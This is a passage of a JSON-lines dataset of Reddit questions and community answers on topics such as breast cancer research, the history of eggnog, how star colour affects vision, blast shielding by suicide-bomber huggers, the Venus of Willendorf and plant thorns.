2, 3, 2, 2, 2, 2], "text": ["I was wondering, the number for men are significantly lower than women getting breast cancer, do we know if this is purely because they have less breast tissue or is there another maybe hormonal component? \n\nAlso to follow on, does breast size (for both men and women) have an impact on likelihood someone will get breast cancer? Thanks very much for your work!", "There has been a number of advancements in the field of oncology and immunology over the past decade (e.g. Immune checkpoint inhibitors, CAR T cells, metabolic pathway modulators, monoclonals . . .etc). These new techniques and avenues have promised to improve patient outcomes and most importantly patient quality of life but thus far they have been mostly used on final stage or as secondary treatments.\n\nMight we see chemotherapy replaced as the standard of care within the next decade?", "Why is the TNBC a more aggressive subtype? And why affect the young women more than the older women?", "What\u2019s the deal with BRCA1 on a biochemical/genetic level?\n\nSenior undergrad bio major here", "Has breast cancer become more common as we have become more obese, and is there a causal link?", "Estrogen cause epigenetic changes in breast cancer.\nDo all types of oral contraceptive in premenopausal women and hormone replacement therapy in menopausal women cause epigenetic changes that influence the progression of breast cancer?", "I sometimes notice what I would guess would feel like lumps when touching my SO's breasts. I ask her if she does regular self examinations, which she definitely does. I also don't like bringing it up, because while I get concerned for her, she is not worried and I don't want to worry her for no reason. What is it that i'm likely feeling???", "Can the pectoral muscles develop knots from stress, tension, pressure, etc? Would there be any special precautions that need to be taken if giving a massage to the breasts?", "I have heard that the increase in use of consumer products like under arm deodorants might be a contributor to growth in breast cancer cases. Is this true?", "Hi and thanks for joining us today!\n\nDo you all advocate for individual private genetic testing for genes like BRCA?", "What role do hormones play in the development of genetic cancers based on faulty BRCA1 and BRCA2 genes? Following from that, some studies suggest the age of cancer diagnosis for BRCA1 and BRCA2 carriers is decreasing (from say when the parent w/ the same faulty gene was diagnosed). Is this true? If so, is this because of higher quality screening or other environmental factors?", "Out of all the possible signaling pathways involved in breast cancer etiology, which do you think are most important, and which are the most likely targets of environmental contributions to disease development? For example, if we are thinking about multiple chemicals/risk factors contributing, which target pathways would you prioritize for a mixtures study?", "We\u2019re signing off! Thanks so much for all the thoughtful questions. For more information on the NCI's Women's Malignancies Branch, you can visit [_URL_0_](_URL_0_). \n\nIf you have questions about cancer or clinical trials, the information specialists at NCI\u2019s Contact Center can help. Visit their website at [_URL_1_](_URL_1_) or call 1-800-4-CANCER. \n\n\\- Alex and Stan"]}, "title_urls": [], "selftext_urls": ["https://irp.nih.gov/our-research/scientific-focus-areas/cancer-biology", "https://ccr.cancer.gov/womens-malignancies-branch"], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], ["https://ccr.cancer.gov/womens-malignancies-branch", "https://www.cancer.gov/contact"]]}
{"q_id": "5jn8ki", "title": "What are the origins of eggnog? Were there other forms of nog that did not involve egg?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5jn8ki/what_are_the_origins_of_eggnog_were_there_other/", "answers": {"a_id": ["dbi0cy9", "dbi1yw5"], "score": [10, 146], "text": ["As a secondary question I've heard that drink recipes like 'ale flips', and 'yard of flannel' were precursors to eggnog.  Is there any truth to this?", "Etymonline identifies [eggnog](_URL_4_) as a combination of egg+nog, which they say was first recorded c. 1775. They point that [nog](_URL_6_) is a regional name (apparently originating around Norfolk, Englandh) for a either a \"strong ale\" or an \"old, strong type of beer brewed in Norfolk\". \n\nThe Oxford English Dictionary similarly identifies \"nog\" as \"a kind of strong beer brewed in East Anglia\" (Norfolk is in East Anglia). We'll return to whether this is actually the origin of nog in eggnog later (spoiler: no one is sure). \n\nThe first reference to eggnog is a c. 1775 poem by a Maryland pastor:\n\n > Fog-drams i' th' morn, or (better still) egg-nogg,\n\n > At night hot-suppings, and at mid-day, grogg,\n\n > My palate can regale...\n\nMore reference to eggnog/egg nog appear in 1788, in both New Jersey and Philadelphia, pointing to perhaps mid-Atlantic origins for the drink, or at least the name. ([More early references here](_URL_7_), from linguist Ben Zimmer, probably the best know English-language etymologist, if such a title exist.)\n\nThe current (or at least alternative) [British name for the drink is \"egg flip\"](_URL_1_), which I think gives us good clues to its origin. Flips are a genre sweetened alcoholic cocktail, often heated, that generally contain eggs. We get our first reference to a drink called a flip in 1693. Still today, on both sides of the Atlantic, there are still a genre of cocktail called \"[flips](_URL_0_\", but not all flips are hot and the drink is not very popular--mixology has gone another direction. \n\nOne mid-19th century cocktail guide ([Thomas Jerry](_URL_3_ *How to Mix Drinks*, available in full on [Google Books in the 1862 edition](_URL_2_)) has six different recipes for flips, both hot and cold. The later 1887 edition apparently has doubled that number. The author writes, \"The essential in 'flips' of all sorts is, to produce the smoothness by repeated pouring back and forward between two vessels, and beating up the eggs well in the first instance; the sweetening and spices according to taste.\" It also has a recipe for eggnog (or rather, six recipes for eggnog), but in another sections. The eggnog recipes generally include milk (the one exception is \"General Harrison's Egg Nog\", which seems to be idiosyncratic), while the flip recipes as a rule do not.  \n\nNotably, Thomas states that eggnog, as recipe not merely a name, is American in origin. Unfortunately, he does not connect it with the flip cocktails found elsehwee in his book. A well-traveled drinker (he tended bar in at least six states), Thomas notes, \"At the South it is almost indispensable at Christmas time, and at the North it is a favorite at all seasons.\" Though he identifies eggnog as American, he says \"it has a popularity that is cosmopolitan\", and that in Scotland it is known as \"auld man's milk.\" Interestingly, one of Zimmer's earliest egg nog references also connects it to Christmas (and in the South, no less). The association between the drink and the season is clearly an old one. There was, for instance, an infamous \"[eggnog riot](_URL_8_)\" at the US Military Academy at West Point around Christmas time 1826. The commanders tried to cut down on cadet drinking, but the cadets proceeded to spike the non-alcoholic punch and become quite unruly. \n\nZimmer, as a linguist rather than a historian, does not connect egg nogs to flips, nor to other similar milky drinks like milk possests and milk punches. Possets were originally made from milk curdled with some sort of alcohol, typically wine or ale. Shakespeare mentions them several times. From reading that 19th century barman's guide, the milk punches seem to contain no eggs and the flips no milk. The combination of the two in egg nog might be unique, or it might be a development of the earlier flip or indeed the earlier posset (possets date back to the 15th century). Wikipedia claims that some sixteenth century possets that contained both milk and egg, but this is uncited and in a little searching I've been unable to find historical proof of a posset drink with egg. I emphasize drink because possets of the 18th century were being thickened with biscuits and did not even necessarily contain alcohol ([blog has the best history of possets I could find](_URL_5_)), becoming more like a dessert similar to a trifle than a drink similar to eggnog. So while many people connect the idea of posset to eggnog, the two appear to share a morphology rather than a true genealogy. The connection with the flip seems more sound.\n\nAs for how the \"nog\" of Norfolk got to the Mid-Atlantic colonies, there's no clear connection. Going back to Ben Zimmer, he notes:\n\n > The egg part of eggnog (or egg nog) is transparent enough, but no one is quite sure how we ended up with nog. Nog shows up in the late seventeenth century as a regional term for strong beer in East Anglia, the easternmost region of England. A fellow named Humphrey Prideaux wrote a letter in 1693 from the county of Norfolk, describing \"a bottle of old strong beer, which in this country they call 'nog.'\" One theory for the origin of nog links it to noggin \u2014 which, before it became slang for \"head,\" could refer to \"a small mug\" or \"a small drink of spirits.\" Another suggestion is that the word is related to the Scottish term nugg or nugged ale, meaning \"ale warmed with a hot poker.\"\n\nBut, in short, there are other kinds of nog or nugged ale without egg. The origins might strong beer or heated beer or a heady drink some kind, but might also possibly indicate a particular type of mug or a small amount of liquor. However, no one calls those nogs generally (none of those nog appear in America, as far as I can tell), and no other American or English mixed drink seems to have adopted the \"nog\" into their name, making eggnog one of kind. An alternate etymology connects eggnog to \"egg-n-grog\", but we have no evidence of anyone ever drinking anything called an \"egg-n-grog\", so it probably is safe to dismiss it. \n\nThough not everyone agrees, I think it's likely that eggnog came out of the \"flip\". Some argue it inspired by milk punch or possets. There are many kinds of flip drinks; though they all contain egg, they are made with a variety of alcohols. Thomas Jerry's barman's guide mentioned above lists two rum flips, an ale flip, two egg flip (one with ale, one with cognac and rum), and a brandy flip. Though only two are called egg flips, all contain eggs. You could see these as eggnog's cousins. Alternatively, you could see the milk punch tradition (Thomas lists four recipes) as related, but if so, it seems more distantly related as two of the four they rely on the milk curdling, something unmentioned in eggnogs, and in general seem to have a fairly different preparation procedure involving filtering rather than frothing, as with the flip and egg nog. \n\nHere's two flip recipes with different alcohols (be cognizant of the risks of eating raw egg; to avoid all risk, make sure to use pasteurized eggs, or to live in the U.K. where salmonella isn't endemic):\n\n > **Ale Flip**\n\n > Put on the fire in a saucepan one quart of ale, and let it boil; have ready the whites of two eggs and the folks of four, well beaten separately; add them by degrees to four table-spoonfuls of moist sugar, and a half a nutmeg grated. When all are well mixed, pour on the boiling ale by degrees, beating up the mixture continually; then pour it rapidly backward and forward from one jug to another, keeping one raised high above the other, till the flip is smooth and finely frothed.  This is a good remedy to take at the commencement of a cold. \n\n > **Egg flip** (another method)\n\n > Beat up in a jug, four new laid eggs, omitting two of the whites; add half a dozen large lumps of sugar, and rub these well in the eggs, pour in boiling water, about half a pint at a time, and when the jug is nearly full, throw in two tumblers of Cognac brandy, and one of old Jamaica rum. \n\nKeep in mind the book contains several other flip recipes as well as several true eggnog recipes. \n\nBased on the name \"nog\" possibly begin associated with beer or ale, I half suspect that the ale flip may have been the first version of the drink to bear the name \"egg nog\". If so, the more familiar hard spirits derived versions must have been innovated shortly after. However, there's really no direct evidence of this, as the earliest reference Zimmer found that actually indicates what's in the stuff calls eggnog \"a mixture composed of new milk, eggs, rum, and sugar, beat up together\"; that is, spirit-based, rather than ale-based. It's also unclear which is the original, the cold version or the hot. It does seem as though what made egg nog different from the flip, more than anything else, was the addition of milk, and later cream. It's impossible to tell if this is a later classification method or the original innovation--there could well have also been no difference at all between flips and eggnogs originally, with eggnog simply being an alternative name that caught on regionally. I suspect name eggnog might have been coined to parallel egg flip (remember, flips are never actually eggless so it's not necessary to differentiate the egg flip from any other sort of flip), and egg flip was of course named for how you originally mix up the eggs and alcohol."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Flip_(cocktail%29)", "https://en.oxforddictionaries.com/definition/eggnog", "https://books.google.co.uk/books?id=QDUEAAAAYAAJ&amp;vq=Flip&amp;source=gbs_navlinks_s", "https://en.wikipedia.org/wiki/Jerry_Thomas_(bartender%29)'s", "http://www.etymonline.com/index.php?search=Eggnog", "https://britishfoodhistory.wordpress.com/2012/04/28/possets/", "http://www.etymonline.com/index.php?term=nog&amp;allowed_in_frame=0", "https://www.visualthesaurus.com/cm/wordroutes/the-origins-of-eggnog-holiday-grog/", "https://en.wikipedia.org/wiki/Eggnog_Riot"]]}
{"q_id": "35mxxe", "title": "why does licking a popsicle stick make my skin crawl?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/35mxxe/eli5_why_does_licking_a_popsicle_stick_make_my/", "answers": {"a_id": ["cr5ws7t", "cr5xldu", "cr5xlhs", "cr5y4k8", "cr5y7hd", "cr5z17d"], "score": [5, 2, 2, 2, 2, 2], "text": ["I have no clue why you have that but I can tell you: reading about it alone made me shudder, too. I know exactly what you mean. It's....uuuurgh... the thought of biting on that piece of wood... I can hardly even write about it. Yuck!\n\nSo yeah, I need an explanation for this, too!", "I get this too. Only it's not just wood. It's also paper. The thought of paper in my mouth, or licking an envelope is absolutely horrible. It must be a phobia, but fear of wood or wood byproducts in ones mouth seems a bit odd.", "Why did reading the title make me shiver?", "Totally get this post- eugh the thought of having a cold ice lolly tongue and licking the rough wooden stick - actually makes me gag!! ", "I too cringed at the Askreddit thread about the door eating. Licking wood is generally a terrible idea, so probably just instinct?", "Same thing happens to me but only when you open up a prepackaged item and the top section tears off leaving just the exposed cardboard. that gives me the exact freaky feeling and just thinking about it now  does as well. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "vom6s", "title": "Would living next to a star of a different temperature than ours affect how we see colours? ", "selftext": "I understand that the reason stars appear a different colour is because of their temperature.  So I was wondering how being on a planet that orbits a blue star or some other colour would affect how we see on that planet.  Would the planet's atmosphere be more affecting instead of the star's light itself?\n\nHope that makes sense.\n\nEDIT: I am wondering about contemporary humans.\n\nEDIT 2: Thank you everyone!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/vom6s/would_living_next_to_a_star_of_a_different/", "answers": {"a_id": ["c569dqg", "c569frp", "c56b6dg", "c56bela", "c56d7sn"], "score": [118, 19, 5, 12, 5], "text": ["It would affect the light spectrum and the light reflected by objects.\n\nHowever, the human visual system is remarkably good at not letting you notice that your surroundings are illuminated by a source with a different spectrum.\n\nYou are able to identify the same colours by candlelight, lamplight in the morning sun and in daylight sun. Each of these sources has a different colour.\n\nThere would be differences in a physical sense, but (up to a certain degree) a different star would not affect your perception of colours.", "This might be better aimed at an evolutionary biologist.  The repsonse of the human eye by wavelength is matched remarkably closely to the peak output of the sun, and doesn't go very far either side of the peak.\n\nThis strongly suggests that a different coloured star would have lead to the eye adapting to a different part of the spectrum, near to the new peak.", "I think it might be worth noting that our star is a green star. ", "You can easily simulate what the light from a red dwarf looks like, as even the coldest red dwarfs give off light [around the same colour as an incandescent lightbulb](_URL_0_). The \"red\" in the name means the colour is shifted towards red, but it isn't actually red.\n\nLikewise hotter stars will also give off white light, but slightly bluer, like a cold white LED compared to an incandescent bulb.", "It just so happens that the peak intensity of the Sun falls right in the middle of the range of wavelengths that our eye can detect. \n\nHad we orbited a cooler star, say one that had its peak intensity in the infrared, humans probably would have evolved with eyes that were sensitive to IR. Think about how interesting that would have been. ;)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://donklipstein.com/g581.html"], []]}
{"q_id": "6xjqz2", "title": "at the risk of seeming insensitive, if bombs are so powerful, how does one person hugging a suicide bomber save so many others?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6xjqz2/eli5_at_the_risk_of_seeming_insensitive_if_bombs/", "answers": {"a_id": ["dmgghd6", "dmgglkg", "dmgla5j", "dmgmbbe", "dmgoik5", "dmgs3jq", "dmgsak4", "dmgv32c", "dmh15mu", "dmh5jzu", "dmh5qa7", "dmh642o", "dmh6e4m", "dmhhxc9", "dmhklst", "dmhp2bh", "dmhp5pw", "dmhq5j7"], "score": [23, 727, 110, 3, 402, 95, 5, 4, 3, 3, 2, 5, 5, 2, 2, 2, 2, 3], "text": ["Depends on the type of bomb.  Improvised backpack bombs that's weigh up to 50 lbs don't have as much destructive yield as military grade bombs that's weigh 500lbs or more.  So one person taking the full brunt of an improvised bomb can absolutely absorb all the energy released and protect everyone else in the areas.  ", "The bombs that suicide bombers use can have shrapnel (like nails), to maximize the casualties - it's not just the shockwaves, it's the high speed bits of metal that gets you.\n\nIf one person gets in close, they absorb that shrapnel that would otherwise have gone out in an ever-increasing radius of destruction. They get super-dead, but the benefit is the lives of others.\n\nIf you look through Medal of Honor winners, you'll find soldiers that have thrown themselves on grenades, sacrificing themselves for the good of others. Same basic idea.", "There was a suicide bomber who had the device hidden in his rectum when he tried to assassinate someone.  His body took most of the blast and the assassination failed.  For smaller devices a body is quite effective ~~and~~ at quelling the blast.\n\n_URL_0_\n\n_URL_1_\n\n_URL_2_\n", "Most of the blast will get absorbed into the person.  This slows down the force of it and makes it less powerful.\n\nLike a hand grenade in air will be a bigger blast next to you than one behind sand bags next to you.", "Well, bombs are powerful compared to what? I would argue that, at the end of the day the types of bombs used by most suicide bombers (there are notable examples) are not all that big.\n\nIf you look on places like Liveleak of video of suicide bombs strapped to people there are generally only a handful of casualties inside the same room as the bomber and the building is usually left standing. Compare this to a \"bomb\" in a car that can take out the Oklahoma city building and we are talking about really small charges.\n\nSo, one of the answers is that in cases where the bomb is small enough for this to work, people survive to talk about it. When the bomb is big enough that this doesn't work, then everyone dies and you don't know anyone tried to jump on the bomber in the first place.\n\nWe will only ever hear about this working cause the other dude got blown up. Plenty of suicide bombs would kill one or several people who jumped on top of them.\n\nThere are a lot of other reasons that bodies make good shields to blast injuries; we are almost all water, which makes an incredible shock dampener and can use a huge amount of heat energy turning into steam. The fact the you are presenting such a large surface area will \"direct\" the blast the other way, deflecting some of the compression wave (one of the several mechanisms of injury from blast injury.) ", "Explosives meant for use on humans kill in 2 main ways- the blast wave, which typically kills only within a very short range, and shrapnel, which maims out to a much larger distance.\n\nIn numbers: it takes about 45 psi of pressure in the blast wave to kill a person. For 1kg of TNT, the pressure wave at 1m is 100 psi, but rapidly peters out at 5m to 3 psi.\n\nSo by hugging a suicide bomber and immobilizing them, you both cushion the blast wave and hold them in place, letting others get to a safe distance. Even 1 meter makes a huge difference.\n\nShrapnel maims out to a much larger distance because it is essentially jagged metal bits flying through the air, and they lose energy by air resistance and when hitting something.\n\nBy hugging a suicide bomber, your body absorbs most of the shrapnel in a particular direction, protecting anyone behind it.\n\nAll this still depends on the relative power of the bomb. There are man-portable nuclear devices out there, and no amount of human sacrifice will stop a 10-20 ton TNT equivalent detonation.", "Part of it is preventing them from going off in an optimal spot. At the Ariana grande concert I can't remember the exact numbers but it was like less than 150 injuries. There were 20,000 people at that concert. They are really powerful but they still only have so much range and need to go off in the right place to really do damage. \n\nIf the bomber is trying to get into a packed church, and someone keeps him in the entry way or out in front of the building it will save a lot of people. ", "At the end of the day, love is the strongest of them all Amiright?", "USAF Ammo troop here (I build aircraft ordnance) Often times it comes down to the fragmentation of a blast. While the initial blast wave is deadly, fragmentation is often the leading cause of mortality when it comes to explosives. When you take IED's for example, our enemies over the years have become much more clever in what they're able to accomplish with their improvised explosives and what can be used as shrapnel. Nails, brass balls, ball bearings, chunks of small metal, etc. can and have all been used as such and is rather common. ", "For the same reason that as soon as they were able military ordinance was set to explode before it hit the ground instead using impact trigger that detonated it after it hit the ground. once in the ground most of the blast is absorbed by the ground and the rest is redirected up making it kill radius much smaller that if it detonated above ground and spread its shrapnel in much wider circle.", "Eli 5 is: Shrapnel.\n\nIt's not the actual blast, as what the blast sends flying out. Most suicide bombs, terrorist bombs, etc also include heavy ball bearings, nails, bolts, etc around them that get flung out at high speeds in the explosion and those are what hit and kill others. Hugging the person means that most of that shrapnel will hit the one individual. ", "It's actually explained when you look at the anatomy of an explosion. Explosions take the path of least resistance, as in - they blow from the center of the ignition point outward. \n\nHugging a suicide bomber, would inhibit or slow the force of the explosion, forcing the deadly concussion blast in other directions. A suicide vest essentially turns a person into a human claymore mine. With enough explosives, the blast force is negated less and less after detonation, but when the explosives are triggered - the majority of the harmful force is to the front of the bomber and not the back.\n\nWhich is why jumping on a grenade saves your friends lives, but usually ends yours.", "most of these suicide assheads are loaded with fragbombs. what kills is these nails, nuts and shit thats thrown around.\n\nyes, the initial blast does incapacitate and kill at a short distance, but the area of effect is increased by the junk.\n\nnow, hugging and holding them down decreases the force thrown around and shields bystanders from the debris.\n\n & nbsp;\n\nAitzaz Hasan and people like him are the true martyrs and heroes.", "Ever heard of stories where soldiers jump on top of enemy grenades to protect their comrades? Well, they're real and they do it for a reason. ", "You know how some highways have crash cushions either in the form of [these fancy things]\n(_URL_0_), or [these?](_URL_1_) Well, that second one is a crash bucket, filled with either sand or water, which essentially stop high-speed impacts from being a high-speed impact, to maybe a mid speed or low speed, reducing damage.  \nOur bodies are mostly made from water, and have a good amount of mass to them, which makes humans good crash buckets in a way, which means that when someone jumps onto a small bomb, the type a suicide bomber would wear, that mass of water and solid will absorb a massive amount of the force of the bomb, and take most, if not all of the shrapnel that the bomb might have inside it, with their body parts likely becoming shrapnel, albeit a lot less lethal than that shot out at high speeds, designed for damage, by the bomb.  \nTo add to that, shrapnel is the radiation to the nuclear bomb. A nuclear bomb's lethality is in its blast, and then its radiation, with the radiation killing more than the blast itself. Blocking the shrapnel means that the only real way to get killed is from the shockwave that can blast away your internal organs. Frag grenades also don't explode with a blast of fire, they explode with a shockwave and shrapnel, hence the name fragmentation grenade. Most suicide bombs are likely fragmentation bombs.", "Basically it limits the range of the explosion as the hugger absorbs the majority of the impact, but that can vary with the type of bomb, its explosive power etc", "All the same, as an atheist I am hoping that there is some reward for those who sacrifice themselves for others in this way.", "That persons body absorbs most of the blast effects and shrapnel in the arc around their body. If most of the people are in that arc, they're not as adversely affected... unless the bomb is made like a claymore, in which case it doesn't matter."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://en.wikipedia.org/wiki/Abdullah_al-Asiri", "https://www.theregister.co.uk/2009/09/21/bum_bombing/", "http://nypost.com/2009/09/30/qaeda-assassin/"], [], [], [], [], [], [], [], [], [], [], [], ["http://www.lindsay.com/stuff/contentmgr/files/0/5b2194970fa7372aa97c6757efeda68b/image/_resized/80_824_325_tauiihero5.png", "https://sc01.alicdn.com/kf/UT8a3VcXUxaXXagOFbXr/227754072/UT8a3VcXUxaXXagOFbXr.jpg"], [], [], []]}
{"q_id": "bviwq4", "title": "Was the Holodomar a deliberate effort by the Soviet Union to kill the people of Ukraine, or was it the result of negligence/not caring/incompetence?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/bviwq4/was_the_holodomar_a_deliberate_effort_by_the/", "answers": {"a_id": ["eppou03", "epq941s"], "score": [15, 8], "text": ["[There are some good answers in our FAQ on the question of the Holodomor and its causes](_URL_0_) - hope that helps!", "Greetings! There's always more that can be said, and you've already been linked to the FAQ, but you might like this thread from /u/Kochevnik81 on [How isn't the holodomor not a genocide?](_URL_0_) It does a good job of answering a similar question."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/wiki/ussr#wiki_the_holodomor"], ["https://www.reddit.com/r/AskHistorians/comments/b3e0xo/how_isnt_the_holodomor_not_a_genocide/"]]}
{"q_id": "4i22rq", "title": "why are some jets curved?", "selftext": "If you scroll most of the way down. Look at Sukhoi's planes. Me and a buddy noticed that some of the jets on the chart are curved down. Why is that? \n\n\n\n\nEDIT: forgot the link...[Chart](_URL_0_)", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4i22rq/eli5why_are_some_jets_curved/", "answers": {"a_id": ["d2ucxjj", "d2uto5h"], "score": [15, 6], "text": ["Are you referring to the Su's [arched back and drooping nose](_URL_0_)? The nose is pointed down to provide better downward visibility and the rest of the fuselage is shaped to accommodate that aerodynamically as best as possible.", "Is that guy being skewered on the YF-107 Ultra Sabre?"]}, "title_urls": [], "selftext_urls": ["https://i.imgur.com/iwPTCt9.jpg"], "answers_urls": [["http://www.team-bhp.com/forum/attachments/commercial-vehicles/1420308d1443364419-sukhoi-su-27-flanker-russias-eagle-killer-su27_red2.jpg"], []]}
{"q_id": "34tyz1", "title": "How much did the average person really believe in the New England vampire scare?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/34tyz1/how_much_did_the_average_person_really_believe_in/", "answers": {"a_id": ["cqyc8l9"], "score": [3], "text": ["...Tell us more about the New England vampire scare. Where and when?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3k1fx0", "title": "Archeologists are always talking about \"fertility symbols\" created thousands of years ago. Wasn't some of it just plain old, but very crude, pornography?", "selftext": "Like this old thing, the [Venus of Willendorf](_URL_0_), that's over 25,000 years old.  Couldn't it just be a dirty gag gift from one stone-age guy to another?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3k1fx0/archeologists_are_always_talking_about_fertility/", "answers": {"a_id": ["cuu2fgy", "cuu4err", "cuu6gky", "cuu7v9s"], "score": [438, 40, 90, 405], "text": ["Follow up question; what is the earliest example of something being porn and not just art? How can historians even tell?", "I have a follow up question. This is regarding stories about the Venus of Willendorf from my art school that I'm not able to verify. \n\nIn class, we discussed aspects of Venus of Willendorf that suggested it's use in ritual. The ritual my instructors told me about related to Venus of Willendorf's pointed feet (or lack of feet). I was told the figures were ritualistically pushed into the dirt to encourage crop growth. \n\nIf this is accurate, it would relate to OP's question by suggesting a specific ritualistic use instead of an arousal use. Has anyone else ever read this? ", "Art History student here. The Venus of Willendorf was definitely not a dirty gag gift, way too much skill and time went into it for that.\n\nHowever, whether or not it's porn depends on your definition of porn. The best definition I can think of is \"something to jack off to, but that has no other inherent value\". By this definition, the Venus of Willendorf as well as the Bella Desnuda and Manet's Olympia are not porn. You could jack off to them, and I'm sure many did, but they also had artistic value, just because of the technique and time that went into them. So they would be on par with a Pedro Almodovar movie or the Titanic sex scene. Erotic, but not porn.\n\nBy this definition of porn, there was probably no porn in the stone age because the time and effort required to make a figure realistic enough to jack off to made it inherently worth more than that. Once we had pens and paper though, you do start to see what can definitely be called porn, crude drawings that are obviously intended for only one purpose... I'm not gonna find you any examples because I'm in the office with my mom.\n\nSo yeah, I'd say they were pornographic in some ways, but not necessarily porn. Porn wouldn't have survived this long. You think art students in the year 3000 will be learning about Madison Ivy?", "Archaeologist here. It's entirely possible that they were pornographic - we can't know. We can't look into the minds of the carvers. They didn't write anything down for us to go off of. Everything that anyone can say about any piece of prehistoric art will always be just conjecture.\n\nA lot of people believe that the Venus and related sculptures are fertility idols because of what they depict - pregnant belly, large breasts and wide hips, and that's it. No face, no or limited arms, no feet. It's a mother, not a nubile young woman. An idea I've heard that I always liked is that they are self portraits; depictions of what a hugely pregnant woman sees when she looks down at her body. We know that they were not easy to make (stone carvings made with stone tools are not a casual undertaking, or at least not something done in an afternoon), and that they must have been a labor of love no matter the purpose. Maybe the prettier porn ladies were carved from softer wood and have been lost to time? Who knows.\n\nWe can make guesses and we can try to justify our ideas, but ultimately we can never know. Anybody who says otherwise is a hack."]}, "title_urls": [], "selftext_urls": ["http://www.allposters.com/-sp/The-Venus-of-Willendorf-Fertility-Symbol-Pre-Historic-Sculpture-30000-25000-BC-Front-View-Posters_i1348455_.htm"], "answers_urls": [[], [], [], []]}
{"q_id": "29e5ur", "title": "Are all plants with thorns closely related? Or are thorns an example of convergent evolution?", "selftext": "Thorns have an obvious advantage for plants that are prone to being eaten, so it seems possible they could have arisen more than once.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/29e5ur/are_all_plants_with_thorns_closely_related_or_are/", "answers": {"a_id": ["cik1k0k", "cikckpf", "cikjvhf"], "score": [1218, 2, 5], "text": ["Well, first we have to define the thorn to distinguish it from other sharp plant appendages.\n\n**Thorns are modified branches or stems**, we must contrast this with modified leaves (spines) and other modified protrusions like hairs (prickles).\n\nSo, when we use the designation *thorn* we are using a ~~generalization~~ *piece of nomenclature* to classify a modified portion of a plant. This distinction is important for keeping our anatomy consistent. It means that cacti do not have thorns, they have *spines*, each bundle of spines effectively representing the modified form of all the leaves from an ancestral branch (over generalization here, don't think into it too much). Many cacti have this sort of spine arrangement because it was advantageous in that it both protected from predators and reduced respiration by reducing photosynthetic surface area - they didn't need all those leaves, so the selective pressure to reduce their surface area was very strong - that the surface area was reduced to a hardened spine is kind of an evolutionary bonus that proliferated particularly well.\n\nMany plants with thorns are much less specialized than cacti, various trees, shrubs, and herbaceous plants have modified their stems or branches to include sharp protrusions, because this sort of defense is generally advantageous against herbivores. So any plant with the physiological capacity to produce hardened protrusions (which represents a physiological *cost* in the form of calories), and the selective pressure of herbivory, had a possibility of developing a thorn modification to reduce that negative pressure. And so, as you predicted, the modification appears, and disappears, constantly throughout the histories of many distantly related plant varieties. The modification is not too specialized (like the cacti spine arrangement) that developing it would require life altering physiological changes. Thorns contain vascular tissue and are just a projection of existing anatomy, so many plants can take them or leave them, develop them within life-cycle, or have some progeny who will develop them and others who will not. Making their expression quite transient.\n\nedit: **tl;dr - convergence**", "Yes and No, some plants evolve independent of one another. The Mediterranean biomes (only 5 on earth) exhibit plants that are unique to each area (found nowhere else) while at the same time exhibiting similar structures (thorns, deep roots, scent, CAM photosynthesis).\n\nFor example, [pittosporum coriaceum](_URL_1_) (which is only found in Southern Portugal) and [Sambucus nigra](_URL_0_) (which is only found in southern California to northern Mexico).\n\nRemember this from your high school biology class, structure = function.\n\nThis means that plants with similar biomes throughout the world will have similar structures, like thorns (convergence). However, they may or may no evolve independent of one another, meaning they may be or may not be related (this is why I say no to your *relation* question).", "Monkey puzzle tree and roses are definitely not closely related.  Think of all the plants that have trichomes to keep bugs away, it's similar, it's a physical barrier that one could argue is convergent evolution between plants, birds, mammals, fungi and even protists.  This one just happens to be a little more specific in that they are created by modified leaves.  \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://upload.wikimedia.org/wikipedia/commons/6/63/Sambucus_nigra-fruit001.jpg", "http://www.rareplants.es/shop/uploads/images_products_large/12331.jpg"], []]}
{"q_id": "7p0dj2", "title": "why do beech trees and hedges retain dead leaves on their branches, while most other species of tree shed them?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7p0dj2/eli5_why_do_beech_trees_and_hedges_retain_dead/", "answers": {"a_id": ["dsdpmqs", "dseq8w1"], "score": [8, 2], "text": ["They give off the appearance that they are keeping them but really the leaves are fully abscised, that is, the plant has cut off all nutrients from the leaf by walling it off. The only reason why it stays attached to the tree is because of the connective tissue in between the dead leaf and the tree is thicker in those species than others. \n\nWhen the tree flushes out in the spring the new leaves will knock off the old ones or the dead portions of the connective tissue between the leaf and the tree will weaken enough by weathering for the leaves to fall off.", "Oaks do this as well.\n\nIn most twiggy/woody plants, the leaves fall or are blown off once the leaf is no longer 'fed'. They dry up and away they go.\n\nSome plants, like those you mention, have particularly hefty connective tissue and/or 'glue' (well, more like boogers) that hold the leaf on. That does NOT go away, so the leaf usually stays attached until a new leaf starts to grow in. The new leaf pushes the old one out of the way.\n\nA sure sign of spring is one of these plants losing its leaves, even if you can't yet see the new leaf that will replace it :).\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://ipm.missouri.edu/MEG/2016/11/Marcescent_Trees_Retain_Leaves_Longer/"]]}
